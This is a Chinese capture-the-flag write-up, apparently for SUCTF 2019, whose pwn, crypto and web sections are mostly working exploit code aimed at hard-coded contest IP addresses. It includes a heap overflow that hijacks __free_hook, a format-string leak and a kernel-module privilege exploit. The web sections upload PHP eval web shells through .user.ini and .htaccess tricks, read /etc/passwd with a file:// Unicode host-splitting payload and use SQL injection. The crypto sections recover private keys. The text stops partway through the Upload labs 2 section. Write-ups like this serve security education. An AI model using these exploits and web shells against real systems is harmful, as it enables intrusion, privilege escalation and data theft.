def comment(idx, comment, score):
sla('>>>', 2)
sla('Index', idx)
sa('Comment', comment)
sla('score', score)
def throw(idx):
sla('>>>', 3)
sla('index', idx)
def rename(idx, new_name, some_fuck):
sla('>>>', 4)
sla('index', idx)
sleep(0.1)
s(new_name)
sa('power', 'yn')
sla('serial', 'e4SyD1C!')
sa('Pwner', some_fuck)
ctx.breakpoints = [0x12f2, 0x1328, 0x118f]
rs('remote')
# rs()
libc = ELF('./libc6-i386_2.23-0ubuntu10_amd64.so')
# dbg('c')
perchase(0x10, 'testn', 0) #0
comment(0, 'testcommentn', 0)
perchase(0x10, 'testn', 0) #1
throw(0)
perchase(0x10, 'testn', 0) #0
comment(0, 'a', 0)
throw(0)
ru('Comment ')
libc_leak = uu32(r(4)) & 0xffffff00
success('libc_leak = {:#x}'.format(libc_leak))
libc_base = libc_leak - 0x1b0700
# clean up
throw(1)
#
perchase(0x8c, 'an', 0) #0
perchase(0x80, 'an', 0) #1
perchase(0x40, 'an', 0) #2
perchase(0xf8, 'an', 0) #3
perchase(0x20, 'topn', 0) #4
throw(2)
# null overflow
perchase(0x44, 'a'*0x40 + p32(0x190) + 'n', 0) #2
throw(0)
# overlap
throw(3)
perchase(0x10, 'an', 0) #0
perchase(0x50, 'an', 0)
perchase(0x100, p32(0) + p32(0x31) + p32(0) + p32(0x239) + ''*0x14 + 'n', 0)
throw(0)
perchase(0x100, '/bin/shn', 0)
libc.address = libc_base
free_hook = libc.sym['__free_hook']
system = libc.sym['system']
rename(1, p32(0)*5 + p32(free_hook), p32(system))
irt()
### playfmt
是一个很简单的格式串，但是buf放在了bss，需要栈指针链，由于flag已经在内存里面了，泄露一下堆地址，再把flag地址写到栈里面，就可以利用格式化字符串漏洞拿flag了。
#https://github.com/matrix1001/welpwn
from PwnContext import *
try:
from IPython import embed as ipy
except ImportError:
print ('IPython not installed.')
if __name__ == '__main__':
context.terminal = ['tmux', 'splitw', '-h']
context.log_level = 'debug'
# functions for quick script
s = lambda data :ctx.send(str(data)) #in case that data is an int
sa = lambda delim,data :ctx.sendafter(str(delim), str(data))
sl = lambda data :ctx.sendline(str(data))
sla = lambda delim,data :ctx.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :ctx.recv(numb)
ru = lambda delims, drop=True :ctx.recvuntil(delims, drop)
irt = lambda :ctx.interactive()
rs = lambda *args, **kwargs :ctx.start(*args, **kwargs)
dbg = lambda gs='', **kwargs :ctx.debug(gdbscript=gs, **kwargs)
# misc functions
uu32 = lambda data :u32(data.ljust(4, ''))
uu64 = lambda data :u64(data.ljust(8, ''))
ctx.binary = './playfmt'
ctx.custom_lib_dir = '/root/share/project/glibc-all-in-one/libs/2.23-0ubuntu11_i386/'
ctx.debug_remote_libc = True
ctx.remote = ('120.78.192.35', 9999)
def fmt(payload):
sleep(0.2)
s(payload)
rs('remote')
sleep(1)
ctx.clean()
fmt('%18$x')
heap_leak = int(r(), 16)
flag_addr = heap_leak - 0x18
flag_addr_c = p32(flag_addr)
for i in range(4):
fmt('%{}c%6$hhn'.format(i+0xf0))
fmt('%{}c%14$hhn'.format(ord(flag_addr_c[i])))
fmt('%240c%6$hhn')
dbg('b *0x0804889Fnc')
sleep(1)
ctx.clean()
fmt('%6$x')
stack = int(ru(8), 16)
addup = (0xf0 - (stack & 0xff))/4
fmt('%240c%6$hhn%{}$s'.format(addup+14))
r()
### sudrv
[参考文章](https://bbs.pediy.com/thread-225488.htm)
具体思路和参考文章是一样的。
此次利用分两段完成，首先编写一个简单的leak用来泄露kernel
base，然后再利用模块中的堆溢出漏洞达到任意地址写的目的，劫持prctl的hook，来调用poweroff_work_func来执行’/bin/chmod
777 /flag’
leak.c
//leak.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define to_kmalloc 0x73311337
#define to_kfree 0x13377331
#define to_show 0xdeadbeef
void exploit(){
char buf[0x100] = {0};
char test[] = "hello world!%lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx %lx";
memcpy(buf,test,sizeof(test));
int fd1 = open("/dev/meizijiutql", O_RDWR);
ioctl(fd1,to_kmalloc,0x500);
write(fd1,buf,sizeof(buf));
ioctl(fd1,to_show);
ioctl(fd1,to_kfree);
}
int main(int argc, char const *argv[])
{
/* code */
exploit();
return 0;
}
exp.c
//exp.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <errno.h>
#include <sys/stat.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <string.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#define to_kmalloc 0x73311337
#define to_kfree 0x13377331
#define to_show 0xdeadbeef
int main(int argc, char const *argv[])
{
unsigned long kernel_base;
puts("input kernel addr:");
scanf("%lu",&kernel_base);
kernel_base -= 0x1c827f;
unsigned long set_memory_rw = kernel_base + 0x54870;
unsigned long selinux_disable = kernel_base + 0x31ebc0;
unsigned long sbin_poweroff = kernel_base + 0x1241d40;
unsigned long security_task_prctl = kernel_base + 0x3134e0;
unsigned long hook_addr = kernel_base + 0x12934a8;
unsigned long orderly_poweroff = kernel_base + 0x81b10;
unsigned long poweroff_work_func = kernel_base + 0x82000;
printf("kernel_base = %pn", kernel_base);
printf("set_memory_rw = %pn", set_memory_rw);
printf("selinux_disable = %pn", selinux_disable);
printf("sbin_poweroff = %pn", sbin_poweroff);
printf("security_task_prctl = %pn", security_task_prctl);
printf("hook_addr = %pn", hook_addr);
printf("orderly_poweroff = %pn", orderly_poweroff);
printf("poweroff_work_func = %pn", poweroff_work_func);
int fd1 = open("/dev/meizijiutql", O_RDWR);
ioctl(fd1,to_kmalloc,0xc0);
unsigned long fake[0x19] = {0};
fake[0x18] = sbin_poweroff;
write(fd1,(char *)fake,sizeof(fake));
ioctl(fd1,to_kmalloc,0xc0);
ioctl(fd1,to_kmalloc,0xc0);//get addr
char cmd[] = "/bin/chmod 777 /flag";
write(fd1,cmd,sizeof(cmd));
ioctl(fd1,to_kmalloc,0x100);
unsigned long fake2[0x21] = {0};
fake2[0x20] = hook_addr;
write(fd1,(char *)fake2,sizeof(fake2));
ioctl(fd1,to_kmalloc,0x100);
ioctl(fd1,to_kmalloc,0x100);//get addr
unsigned long addr = sbin_poweroff;
unsigned long fake_table[4] = {0};
fake_table[3] = selinux_disable;
unsigned long *p = &fake_table;
write(fd1,&p,8);
//prctl(addr,2,addr,addr,2);//do selinux_disable
fake_table[3] = poweroff_work_func;
prctl(addr,2,addr,addr,2);//do poweroff_work_func
return 0;
}
## Crypto
### DSA
与题目所给地址进行交互，回显出DSA签名算法的参数p,q,g,y,并给出对12组语句MD5值的签名的结果(r,s)，求解私钥x。
观察到所给的签名结果中，存在两组数据的r相同,说明这两组数据签名时采取了相同的随机数k，原理参考[https://www.jarviswang.me/?p=169，可以解除相应私钥x，之后用x加密所给的md5值提供给服务器就ok](https://www.jarviswang.me/?p=169%EF%BC%8C%E5%8F%AF%E4%BB%A5%E8%A7%A3%E9%99%A4%E7%9B%B8%E5%BA%94%E7%A7%81%E9%92%A5x%EF%BC%8C%E4%B9%8B%E5%90%8E%E7%94%A8x%E5%8A%A0%E5%AF%86%E6%89%80%E7%BB%99%E7%9A%84md5%E5%80%BC%E6%8F%90%E4%BE%9B%E7%BB%99%E6%9C%8D%E5%8A%A1%E5%99%A8%E5%B0%B1ok).
计算脚本如下：
DSA.py
from random import randrange
from hashlib import sha1
from gmpy2 import xmpz, to_binary, invert, powmod, is_prime
def generate_p_q(L, N):
g = N # g >= 160
n = (L - 1) // g
b = (L - 1) % g
while True:
# generate q
while True:
s = xmpz(randrange(1, 2 ** (g)))
a = sha1(to_binary(s)).hexdigest()
zz = xmpz((s + 1) % (2 ** g))
z = sha1(to_binary(zz)).hexdigest()
U = int(a, 16) ^ int(z, 16)
mask = 2 ** (N - 1) + 1
q = U | mask
if is_prime(q, 20):
break
# generate p
i = 0 # counter
j = 2 # offset
while i < 4096:
V = []
for k in range(n + 1):
arg = xmpz((s + j + k) % (2 ** g))
zzv = sha1(to_binary(arg)).hexdigest()
V.append(int(zzv, 16))
W = 0
for qq in range(0, n):
W += V[qq] * 2 ** (160 * qq)
W += (V[n] % 2 ** b) * 2 ** (160 * n)
X = W + 2 ** (L - 1)
c = X % (2 * q)
p = X - c + 1 # p = X - (c - 1)
if p >= 2 ** (L - 1):
if is_prime(p, 10):
return p, q
i += 1
j += n + 1
def generate_g(p, q):
while True:
h = randrange(2, p - 1)
exp = xmpz((p - 1) // q)
g = powmod(h, exp, p)
if g > 1:
break
return g
def generate_keys(g, p, q):
x = randrange(2, q) # x < q
y = powmod(g, x, p)
return x, y
def generate_params(L, N):
p, q = generate_p_q(L, N)
g = generate_g(p, q)
return p, q, g
def sign(M, p, q, g, x):
if not validate_params(p, q, g):
raise Exception("Invalid params")
while True:
k = randrange(2, q) # k < q
r = powmod(g, k, p) % q
m = M #int(sha1(M).hexdigest(), 16)
try:
s = (invert(k, q) * (m + x * r)) % q
return r, s
except ZeroDivisionError:
pass
def verify(M, r, s, p, q, g, y):
if not validate_params(p, q, g):
raise Exception("Invalid params")
if not validate_sign(r, s, q):
return False
try:
w = invert(s, q)
except ZeroDivisionError:
return False
m =M # int(sha1(M).hexdigest(), 16)
u1 = (m * w) % q
u2 = (r * w) % q
# v = ((g ** u1 * y ** u2) % p) % q
v = (powmod(g, u1, p) * powmod(y, u2, p)) % p % q
if v == r:
return True
return False
def validate_params(p, q, g):
if is_prime(p) and is_prime(q):
return True
if powmod(g, q, p) == 1 and g > 1 and (p - 1) % q:
return True
return False
def validate_sign(r, s, q):
if r < 0 and r > q:
return False
if s < 0 and s > q:
return False
return True
if __name__ == "__main__":
N = 160
L = 1024
p, q, g = generate_params(L, N)
x, y = generate_keys(g, p, q)
text = "MISIS rocks"
M = str.encode(text, "ascii")
r, s = sign(M, p, q, g, x)
if verify(M, r, s, p, q, g, y):
print('All ok')
print M, r, s, p, q, g, y, x
wp.py
import DSA
import gmpy2
p = 89884656743115795725606614650159225690277841481502595853919197404142682654587633619443529337107618458139040334633197494177921687649471369499213716567752381328547433890099679870655669164451442682253794104184449101557496697367969882087186435421957492974255167534286662485855407981652149026488559437814307020371
q = 1229497345621183758814993469191332519500506868989
g = 58529698759563737634016334033537212867717849333012189004643018841270428563683093483006045477112444680372809385830948207442567847485491504701629757805667159000252791001714694507655949691684409083802508920193939674609121001281446700059723241202517422540626419233721451721744085470000121912567840671207537526982
y = 29489506469114296742770625557066000814217646414802633238412133010472159016957098846919012455018753959989276570368282336480069171767524057901394863984285974673733305792863550044443246228204503645686034468583054261755376390851531080847708812880601981651112161391132712064024801647437927228982784350971270864172
md51 = 193111848988193367504523557345609960681
out1 =[891788218480967205838238368504390622327899630141L, 1071869941763049920072685934641936261427117475133L]
md52 = 76447611971473350019028042637993930502
out2 =[891788218480967205838238368504390622327899630141L, 1185662127967437283367637521307280915897562273383L]
if DSA.verify(md51, out1[0], out1[1], p, q, g, y):
print('All ok')
if DSA.verify(md52, out2[0], out2[1], p, q, g, y):
print('All ok')
m3 = md51
m4 = md52
s3 = out1[1]
s4 = out2[1]
r = out1[0]
ds = s4 - s3
dm = m4 - m3
k = gmpy2.mul(dm, gmpy2.invert(ds, q))
k = gmpy2.f_mod(k, q)
tmp = gmpy2.mul(k, s3) - m3
x = tmp * gmpy2.invert(r, q)
x = gmpy2.f_mod(x, q)
print int(x)
M = 334436397493699539473999398012751306876
r, s = DSA.sign(M, p, q, g, x)
print '('+str(r)+'L'+', '+str(s)+'L'+')'
### Prime
这题应该算是卡的最久的了，题目给出了4组 m^n mod n = c,n的生成方式未知,已知n ,c 求解 m ，看起来像是一个RSA的解密
。与RSA相关联的是欧拉定理，根据欧拉定理可知，
m^phi(n) mod n ==1，
结合题目的条件可得：
m^(n mod phi(n)) mod n =c
下面就是尝试分解n,发现给出的4个n两两不互素，每个n可以分解成4个素数的乘积，随后对多素数的RSA进行解密，参考<https://www.xuebuyuan.com/681378.html>
交互脚本如下：
from pwn import *
import gmpy2
t = remote('47.111.59.243', 8003)
proof = t.recvline()
print proof
check = proof[-6:-1]
salt = proof[-20:-16]
for i in range(10000000):
if hashlib.md5(str(i)+salt).hexdigest()[0:5] == check:
break
t.sendline(str(i))
cs = [0] * 4
ns = [0] * 4
cs[0] = int(t.recvline()[10:-2],16)
ns[0] = int(t.recvline()[10:-2],16)
cs[1] = int(t.recvline()[10:-2],16)
ns[1] = int(t.recvline()[10:-2],16)
cs[2] = int(t.recvline()[10:-2],16)
ns[2] = int(t.recvline()[10:-2],16)
cs[3] = int(t.recvline()[10:-2],16)
ns[3] = int(t.recvline()[10:-2],16)
print t.recvuntil('=')
m = [0] *4
print 'start!'
p = [[0 for i in range(4)] for j in range(4)]
p[0][1] = gmpy2.gcd(ns[0], ns[1])
p[0][2] = gmpy2.gcd(ns[0], ns[2])
p[0][3] = gmpy2.gcd(ns[0], ns[3])
p[0][0] = ns[0]/(p[0][1]*p[0][2]*p[0][3])
p[1][1] = gmpy2.gcd(ns[0], ns[1])
p[1][2] = gmpy2.gcd(ns[1], ns[2])
p[1][3] = gmpy2.gcd(ns[1], ns[3])
p[1][0] = ns[1]/(p[1][1]*p[1][2]*p[1][3])
p[2][1] = gmpy2.gcd(ns[2], ns[1])
p[2][2] = gmpy2.gcd(ns[0], ns[2])
p[2][3] = gmpy2.gcd(ns[2], ns[3])
p[2][0] = ns[2]/(p[2][1]*p[2][2]*p[2][3])
p[3][1] = gmpy2.gcd(ns[3], ns[1])
p[3][2] = gmpy2.gcd(ns[3], ns[2])
p[3][3] = gmpy2.gcd(ns[0], ns[3])
p[3][0] = ns[3]/(p[3][1]*p[3][2]*p[3][3])
phi = [0]*4
i = 0
for i in range(4):
phi[i] = (p[i][0]-1)*(p[i][1]-1)*(p[i][2]-1)*(p[i][3]-1)
d = [0]*4
e = [0]*4
for i in range(4):
e[i] = ns[i]%phi[i]
d[i] = gmpy2.invert(e[i], phi[i])
for i in range(4):
tmp1 = pow(cs[i],d[i],ns[i])
tmp2= pow(tmp1,e[i],ns[i])
if tmp2 == cs[i]:
t.sendline(str(hex(tmp1)[2:]))
if i!=3:
print t.recvuntil('=')
else:
print t.recvline()
### MT
题目主要是对以下一段逻辑进行逆向，
def convert(m):
m = m ^ m >> 13
m = m ^ m << 9 & 2029229568 #0x78f39600
m = m ^ m << 17 & 2245263360 #0x85d40000
m = m ^ m >> 19
return m
4个步骤，一步一步分析，按位解即可，这里直接给出计算脚本：
from Crypto.Random import random
from Crypto.Util import number
#from flag import flag
def uncover(m):
m = m ^ m >> 19
#print m
k1 = 0x85d40000
low17 = m &((1<<17)-1)
low15 = (m &((1<<15)-1)) << 17
m = (m ^ (k1 & low15))
#print m
k2 = 0x78f39600
low9 = m &((1<<9)-1)
low29 = ((m >> 9) ^ (k2 >> 9 & low9))&((1<<9)-1)
low39 = ((m >> 18) ^ (k2 >> 18 & low29))&((1<<9)-1)
low49 = ((m >> 27) ^ (k2 >> 27 & low39)) & ((1 << 5) - 1)
m = low9 +(low29 <<9) + (low39 <<18) +(low49 << 27)
#print m
high13 = m >> 19
mid13 = high13 ^ (m >> 6 &((1<<13)-1))
low6 = (mid13 >>7) ^(m &((1<<6)-1))
m = low6 + (mid13<< 6) + (high13 << 19)
#print m
#return m
return number.long_to_bytes(m, 4)
def transform(message):
assert len(message) % 4 == 0
new_message = ''
for i in range(len(message) / 4):
block = message[i * 4 : i * 4 +4]
block = number.bytes_to_long(block)
block = convert(block)
block = number.long_to_bytes(block, 4)
new_message += block
return new_message
# transformed_flag: 641460a9 e3953b1a aa21f3a2
msg = uncover(0x641460a9)+ uncover(0xe3953b1a)+uncover(0xaa21f3a2)
print msg.encode('hex')
### RSA
题目给出 n, e, c，可以发送密文，让服务器判断相应明文是否为奇数，利⽤ RSA PARITY
ORACLE⽅法，这次构造特定密文交互1024次可以求出特定明文，执行三轮，服务器返回flag，
原理参考<https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_chosen_plain_cipher-zh/#rsa-parity-oracle>
交互脚本如下：
from pwn import *
import gmpy2
def parity_oracle(n):
"""input: n: the modulus of the RSA
query: query is a function which inputs an int i, returns if the m*(2^i)%n is odd
return: int m
"""
i = 0
x = 0
while n >> i:
res = query(i)
if res:
x = 2 * x + 1
else:
x = 2 * x
i += 1
print i
return (x+1) * n // 2 ** i
def query(i):
t.sendline('D')
t.recvuntil(':')
send = (int(c)*pow(2,int(e)*(i+1)))%int(n)
t.sendline(str(send))
rev = t.recvline()[-5:-2]
print rev
if rev == 'odd':
tmp = 1
elif rev == 'ven':
tmp = 0
else:
print 'eve odd error'
exit()
t.recvline()
t.recvline()
t.recvline()
t.recvline()
t.recvuntil('option:')
return tmp
if __name__ == "__main__":
t = remote('47.111.59.243', 9421)
proof = t.recvline()
print proof
check = proof[-6:-1]
salt = proof[-20:-16]
for i in range(10000000):
if hashlib.md5(str(i)+salt).hexdigest()[0:5] == check:
break
t.sendline(str(i))
print t.recvline()
print t.recvline()
#round1
n = int(t.recvline()[4:-1])
print int(n)
e = int(t.recvline()[4:-1])
print int(e)
print t.recvline()
c = int(t.recvline()[4:-1])
print int(c)
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvuntil(':')
m = parity_oracle(n)
print m
print c == pow(m,e,n)
t.sendline('G')
print t.recvuntil(':')
t.sendline(str(m))
print t.recvline()
print t.recvline()
#round2
n = int(t.recvline()[4:-1])
print int(n)
e = int(t.recvline()[4:-1])
print int(e)
print t.recvline()
c = int(t.recvline()[4:-1])
print int(c)
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvuntil(':')
m = parity_oracle(n)
print m
print c == pow(m, e, n)
t.sendline('G')
print t.recvuntil(':')
t.sendline(str(m))
print t.recvline()
print t.recvline()
#round3
n = int(t.recvline()[4:-1])
print int(n)
e = int(t.recvline()[4:-1])
print int(e)
print t.recvline()
c = int(t.recvline()[4:-1])
print int(c)
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvuntil(':')
m = parity_oracle(n)
print m
print c == pow(m, e, n)
t.sendline('G')
print t.recvuntil(':')
t.sendline(str(m))
print t.recvline()
print t.recvline()
print t.recvline()
print t.recvline()
## Web
### 0x01 CheckIn
**题目描述**
<http://47.111.59.243:9021>
**题目解答**
首先判断目标题目的容器环境，发现是nginx而不是apache
之后发现上传点具有如下特征：
1. `.php` 后缀的不可以
2. `<?` 不可以出现
3. `exif_imagetype` 检验是否是图片
那么就逐点bypass;
1. 不允许php后缀的情况下就要考虑容器的特性
容器是否存在解析漏洞或者其他，如果是apache的话我们完全可以先上传`.htaccess`来将某个后缀当做php脚本解析执行，但是此处是nginx容器，在这个版本也没有对应的解析漏洞，因此考虑`.user.ini`来构造解析
这个可以参考：[《user.ini文件构成的PHP后门》](https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html)
2. 不允许`<?` 那么就考虑`<script language='php'>`
3. `exif_imagetype` 校验bypass
这个可以参考这篇文章：<https://xz.aliyun.com/t/3937>
最终得到如下getshell脚本
import requests
import base64
url = "http://47.111.59.243:9021/"
htaccess = b"""x00x00x8ax39x8ax39
auto_prepend_file = cc.jpg
"""
#shell = b"x00x00x8ax39x8ax39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
shell = b"x00x00x8ax39x8ax39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"
files = [('fileUpload',('.user.ini',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
proxies = {"http":"http://127.0.0.1:8080"}
print("upload .user.ini")
r = requests.post(url=url, data=data, files=files)#proxies=proxies)
print(r.text)
print("upload cc.jpg")
files = [('fileUpload',('cc.jpg',shell,'image/jpeg'))]
r = requests.post(url=url, data=data, files=files)
print(r.text)
GET /uploads/0ec1db6cfe0333559b8991ce81e48662/index.php?c=system(%27cat%20/flag%27); HTTP/1.1
Host: 47.111.59.243:9021
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
If-Modified-Since: Sat, 17 Aug 2019 02:28:39 GMT
If-None-Match: "5d576657-74"
直接cat得到flag
### 0x02 EasyPHP
**题目描述**
<http://47.111.59.243:9001/>
**题目解答**
访问站点直接得到网站对应的源代码
<?php
function get_the_flag(){
// webadmin will remove your upload file every 20 min!!!!
$userdir = "upload/tmp_".md5($_SERVER['REMOTE_ADDR']);
if(!file_exists($userdir)){
mkdir($userdir);
}
if(!empty($_FILES["file"])){
$tmp_name = $_FILES["file"]["tmp_name"];
$name = $_FILES["file"]["name"];
$extension = substr($name, strrpos($name,".")+1);
if(preg_match("/ph/i",$extension)) die("^_^");
if(mb_strpos(file_get_contents($tmp_name), '<?')!==False) die("^_^");
if(!exif_imagetype($tmp_name)) die("^_^");
$path= $userdir."/".$name;
@move_uploaded_file($tmp_name, $path);
print_r($path);
}
}
$hhh = @$_GET['_'];
if (!$hhh){
highlight_file(__FILE__);
}
if(strlen($hhh)>18){
die('One inch long, one inch strong!');
}
if ( preg_match('/[x00- 0-9A-Za-z'"`~_&.,|=[x7F]+/i', $hhh) )
die('Try something else!');
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
eval($hhh);
?>
看到源码之后思路就很明确了，`get_the_flag`
函数部分的上传漏洞和上题相类似，但是不同的是这里是`apache`环境，所以要上传的是`.htaccess`文件来构造解析。
关键的是第一部分，如何来让`eval` 函数触发`get_the_flag` 函数，首先判断正则过滤了那些ascii字符，写一个脚本判断一下。
<?php
$unfilter_str = array();
for ($ascii = 0; $ascii < 256; $ascii++) {
if (!preg_match('/[x00- 0-9A-Za-z'"`~_&.,|=[x7F]+/i', chr($ascii))) {
$unfilter_str[] = urlencode(chr($ascii));
}
print_r(''' . implode('','', $unfilter_str) . ''');
}
?>
最终可以得到有如下
['%21','%23','%24','%25','%28','%29','%2A','%2B','-','%2F','%3A','%3B','%3C','%3E','%3F','%40','%5C','%5D','%5E','%7B','%7D','%80','%81','%82','%83','%84','%85','%86','%87','%88','%89','%8A','%8B','%8C','%8D','%8E','%8F','%90','%91','%92','%93','%94','%95','%96','%97','%98','%99','%9A','%9B','%9C','%9D','%9E','%9F','%A0','%A1','%A2','%A3','%A4','%A5','%A6','%A7','%A8','%A9','%AA','%AB','%AC','%AD','%AE','%AF','%B0','%B1','%B2','%B3','%B4','%B5','%B6','%B7','%B8','%B9','%BA','%BB','%BC','%BD','%BE','%BF','%C0','%C1','%C2','%C3','%C4','%C5','%C6','%C7','%C8','%C9','%CA','%CB','%CC','%CD','%CE','%CF','%D0','%D1','%D2','%D3','%D4','%D5','%D6','%D7','%D8','%D9','%DA','%DB','%DC','%DD','%DE','%DF','%E0','%E1','%E2','%E3','%E4','%E5','%E6','%E7','%E8','%E9','%EA','%EB','%EC','%ED','%EE','%EF','%F0','%F1','%F2','%F3','%F4','%F5','%F6','%F7','%F8','%F9','%FA','%FB','%FC','%FD','%FE','%FF']
那么之后只要使用既有的规则模式进行fuzz即可（随后会写专门的文章来介绍webfuzz）
因为还有长度限制，所以如果fuzz出`get_the_flag`的话，可能长度会超，所以考虑率fuzz出`$_GET[z]`，然后让php解析`${$_GET[z]}`来达到调用对应函数的目的。
这里fuzz字符之间的异或，最终得到如下结果
<?
// fuzz_api.php
$_=$_GET['a']^$_GET['b'];
// $_ = '%fe%fe%fe%fe^%a1%b9%bb%aa';
if($_ == '_GET')print_r('true');
?>
因为可见字符都被过滤了，这里我们还得要一个字符来作为参数，同时要考虑bypass
$character_type = count_chars($hhh, 3);
if(strlen($character_type)>12) die("Almost there!");
所以简单的做法就是把上面的可用字符串再给fuzz一遍，最终得到如下payload
${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();
所以我们就可以写脚本来一键getshell了
import requests
import base64
url = "http://47.111.59.243:9001/?_=${%fe%fe%fe%fe^%a1%b9%bb%aa}{%fe}();&%fe=get_the_flag"
htaccess = b"""x00x00x8ax39x8ax39
AddType application/x-httpd-php .zzzz
php_value auto_append_file "php://filter/convert.base64-decode/resource=/var/www/html/upload/tmp_13c21ab4858db269eab22891ac26c5be/shell.zzzz"
"""
shell = b"x00x00x8ax39x8ax39"+b"00"+ base64.b64encode(b"<?php eval($_GET['c']);?>")
# shell = b"x00x00x8ax39x8ax39"+b"00" + "<script language='php'>eval($_REQUEST[c]);</script>"
files = [('file',('.htaccess',htaccess,'image/jpeg'))]
data = {"upload":"Submit"}
# proxies = {"http":"http://127.0.0.1:8080"}
print("upload .htaccess")
r = requests.post(url=url,files=files)
# print(r.text)
print("upload shell.zzzz")
files = [('file',('shell.zzzz',shell,'application/octet-stream'))]
r = requests.post(url=url,files=files)
# r = requests.get('http://47.111.59.243:9001/upload/tmp_13c21ab4858db269eab22891ac26c5be/shell.zzzz?c=system(%27ls%27);')
# r = requests.get("http://47.111.59.243:9001/upload/tmp_13c21ab4858db269eab22891ac26c5be/shell.zzzz?c=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));")
r = requests.get("http://47.111.59.243:9001/upload/tmp_13c21ab4858db269eab22891ac26c5be/shell.zzzz?c=chdir('img');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(file_get_contents('/THis_Is_tHe_F14g'));")
print r.text
最终得到flag
### 0x03 Pythonginx
**题目描述**
<http://47.111.59.243:9000/>
**题目解答**
右键直接看到题目的源代码（完好格式）
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
看到这个代码立马想到最近blackhat大会上公布的几个trick，具体链接如下
<https://bugs.python.org/issue36742>
<https://bugs.python.org/issue36216>
<https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf>
网页源码的注释上也有提示
<!-- Dont worry about the suctf.cc. Go on! -->
<!-- Do you know the nginx? -->
所以我们结合上面的信息，来构造payload如下:
url=file://suctf.c%E2%84%82/../../../etc/passwd
此处用于构造c的字符来源
<https://en.wiktionary.org/wiki/Appendix:Unicode/Letterlike_Symbols>
经过一番fuzz，在配置文件中读到flag的路径和名称
url=file://suctf.c%E2%84%82/../../../usr/local/nginx/conf/nginx.conf
server {
listen 80;
location / {
try_files $uri @app;
}
location @app {
include uwsgi_params;
uwsgi_pass unix:///tmp/uwsgi.sock;
}
location /static {
alias /app/static;
}
# location /flag {
# alias /usr/fffffflag;
# }
}
最终读到flag
url=file://suctf.c%E2%84%82/../../../usr/fffffflag
如果你的字典不够给力，fuzz不到的话，不妨试试这个
<https://github.com/zer0yu/Berserker/blob/master/webfuzz/fi/lfi.txt>
### 0x04 easy_sql
**题目描述**
<http://47.111.59.243:9061>
**题目解答**
显示随便测了一下，发现一般会有以下四种返回结果
1. query=1e100
Array
(
[0] => 1
)
2. query=0x730065006c0065006300740020004000400076006500%20%2e%2e%2e
Too long.
3. query=1)%20or%20benchmark(10000000,MD5(1))#
Nonono.
4. query=NULL
Array
(
[0] =>
)
可以看到字符长度是有限制的，而且过滤了一些关键词
之后fuzz测试的过程中发现是堆叠注入
# 显示数据库
query=1; show databases;
# 回显
Array
(
[0] => 1
)
Array
(
[0] => information_schema
)
Array
(
[0] => CTF
)
Array
(
[0] => mysql
)
Array
(
[0] => performance_schema
)
Array
(
[0] => score_mbamission
)
Array
(
[0] => score_minnesotaunited
)
# 回显表名
query=1; show tables;
Array
(
[0] => 1
)
Array
(
[0] => Flag
)
# 但是过滤了from
query=1; select * from Flag;
# 回显
Nonono.
# 这样也不行
query=1; SET @SQL=0x73656c656374202a2066726f6d20466c61673b;PREPARE pord
所以最后解决方法是
# 直接输出flag
query=*,1
# 回显
Array
(
[0] => SUCTF{SUCTF_baby_sql_chall_120993n810h3}
[1] => 1
)
别问，问就是fuzz
<https://github.com/zer0yu/Berserker/blob/master/webfuzz/sqli/sql_fuzz.txt>
### 0x05 Upload labs 2
**题目描述**
去看看你自己到底传了个啥 <http://47.111.59.243:9025/> 交flag时去掉引号
**题目解答**
题目有附件，所以是一个代码审计题目，先看最终怎么可以getflag，发现有对应的函数，在`admin.php`中
function __destruct(){
getFlag($this->ip, $this->port);
//使用你自己的服务器监听一个确保可以收到消息的端口来获取flag
}
而且还限制了必须是本地来访问这个`admin.php`文件
